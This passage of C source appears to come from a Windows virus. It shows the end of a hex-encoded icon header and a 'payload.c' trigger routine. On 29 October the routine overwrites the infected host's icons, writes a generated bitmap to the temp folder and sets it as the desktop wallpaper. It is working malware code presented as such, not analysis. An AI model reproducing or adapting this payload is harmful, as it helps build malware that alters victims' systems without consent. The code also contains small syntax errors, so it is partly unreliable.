0xff,0xff,0x7f,0xf0,0xf3,0xc0,0x27,0xf0,0x73,0x80,0xe7,0xe7,0x3f,
0x98,0xff,0xe7,0x3f,0x32,0x7f,0xff,0x3f,0x3e,0x7f,0xff,0x3f,0x3e,
0x7f,0xff,0x3f,0x3e,0x7f,0xff,0x3f,0x3e,0x7f,0xff,0x3f,0x3e,0x7f,
0xff,0x3f,0x9c,0xff,0xff,0x3f,0x80,0xff,0xff,0x3f,0xc1,0xff,0xff,
0xff,0xff,0xff,0x28,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x20,0x00,
0x00,0x00,0x01,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,
0x80,0x00,0x00,0x00,0x80,0x80,0x00,0x80,0x00,0x00,0x00,0x80,0x00,
0x80,0x00,0x80,0x80,0x00,0x00,0xc0,0xc0,0xc0,0x00,0x80,0x80,0x80,
0x00,0x00,0x00,0xff,0x00,0x00,0xff,0x00,0x00,0x00,0xff,0xff,0x00,
0xff,0x00,0x00,0x00,0xff,0x00,0xff,0x00,0xff,0xff,0x00,0x00,0xff,
0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x0c,0xdd,0x00,0x00,0x7b,0x5d,0x80,0x00,0xbf,0x63,0x00,0x00,
0xdc,0x6b,0x80,0x00,0xeb,0x6b,0x00,0x00,0x6b,0x6b,0x80,0x00,0x9c,
0xf7,0x00,0x00,0xff,0xff,0xc0,0x00,0xff,0xf3,0x80,0x00,0xcd,0x85,
0xff,0x00,0xb7,0x67,0x00,0x00,0xf6,0xd7,0xff,0x00,0xf6,0xf7,0x00,
0x00,0xf7,0x6f,0xff,0x00,0xf7,0x9f,0x00,0x00,0xff,0xff,0xfb,0x00
};
#endif
----------------------------------------------------------------[jq29aico.h]--
-----------------------------------------------------------------[payload.c]--
{
SYSTEMTIME SystemTime;
GetLocalTime(&SystemTime);
if ((BYTE)SystemTime.wDay == 29 && (BYTE)SystemTime.wMonth == 0xA) {
bPayLoadDay = TRUE;
#ifdef compr
jq_decode(HostLargeIcon + SIZEOF_ICONS,
jq29aComprIcons + SIZEOF_COMPR_ICONS,
SIZEOF_COMPR_ICONS,
ComprMem);
{
HANDLE hBmp;
DWORD cBytes;
if ((cBytes = GetTempPath(MAX_PATH, PathName)) - 1 < MAX_PATH - 1) {
if (PathName[cBytes - 1] != '\\')
PathName[cBytes++] = '\\';
*(PDWORD)(PathName + cBytes) = '.A92';
*(PDWORD)(PathName + cBytes + 4) = 'PMB';
hBmp = CreateFile(PathName, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL, 0);
if (hBmp != INVALID_HANDLE_VALUE)
if (GetFileSize(hBmp, NULL) == SIZEOF_BMP) {
CloseHandle(hBmp);
goto SetDeskWallPaper;
}
else {
{
PBYTE pSrc = HostLargeIcon;
PBYTE pTgt = jq29aBmp + 0xE;
DWORD nCount = 0x68;
*(PDWORD)(pTgt - 0xE) = 0x80764D42;
pTgt[0xA - 0xE] = 0x76;
do *pTgt++ = *pSrc++; while (--nCount);
((PBITMAPINFOHEADER)(pTgt - 0x68))->biWidth = 0x100;
((PBITMAPINFOHEADER)(pTgt - 0x68))->biHeight = 0x100;
*((PBYTE)&((PBITMAPINFOHEADER)(pTgt - 0x68))->biSizeImage + 1)
= 0x80;
*(PWORD)&((PBITMAPINFOHEADER)(pTgt - 0x68))->biXPelsPerMeter
= 0xECE;
*(PWORD)&((PBITMAPINFOHEADER)(pTgt - 0x68))->biYPelsPerMeter
= 0xED8;
pSrc += 0x200;
{
DWORD nCountDwords = 32;
do {
DWORD nCountYPels = 8;
DWORD Pix = *((PDWORD)pSrc)++;
__asm {
mov eax, [Pix]
xchg ah, al
rol eax, 16
xchg ah, al
mov [Pix], eax
}
do {
DWORD PixCopy = Pix;
DWORD nCountBits = 32;
do {
DWORD nCountXPels = 4;
do {
*pTgt++ = (PixCopy & 0x80000000)? 0x66 : 0;
} while (--nCountXPels); PixCopy <<= 1;
} while (--nCountBits);
} while (--nCountYPels);
} while (--nCountDwords);
}
}
{
BOOL bBool = WriteFile(hBmp, jq29aBmp, SIZEOF_BMP, &cBytes,
NULL);
WriteFile(hBmp, jq29aBmp, 0, &cBytes, NULL);
CloseHandle(hBmp);
if (bBool) {
HINSTANCE hInst;
SetDeskWallPaper:
hInst = LoadLibrary("USER32");
if (hInst) {
DWORD (WINAPI *pfnSystemParametersInfo)(DWORD, DWORD,
PVOID, DWORD);
pfnSystemParametersInfo =
(DWORD (WINAPI *)(DWORD, DWORD, PVOID, DWORD))
GetProcAddress(hInst, "SystemParametersInfoA");
if (pfnSystemParametersInfo)
pfnSystemParametersInfo(SPI_SETDESKWALLPAPER,
0,
PathName,
SPIF_UPDATEINIFILE);
FreeLibrary(hInst);
}
}
}
}
}
}
#else
{
PBYTE pTgt = HostLargeIcon;
PBYTE pSrc = jq29aIcons;
DWORD nCount = SIZEOF_ICONS;
do *pTgt++ = *pSrc++ while (--nCount);
}
#endif
}
}
-----------------------------------------------------------------[payload.c]--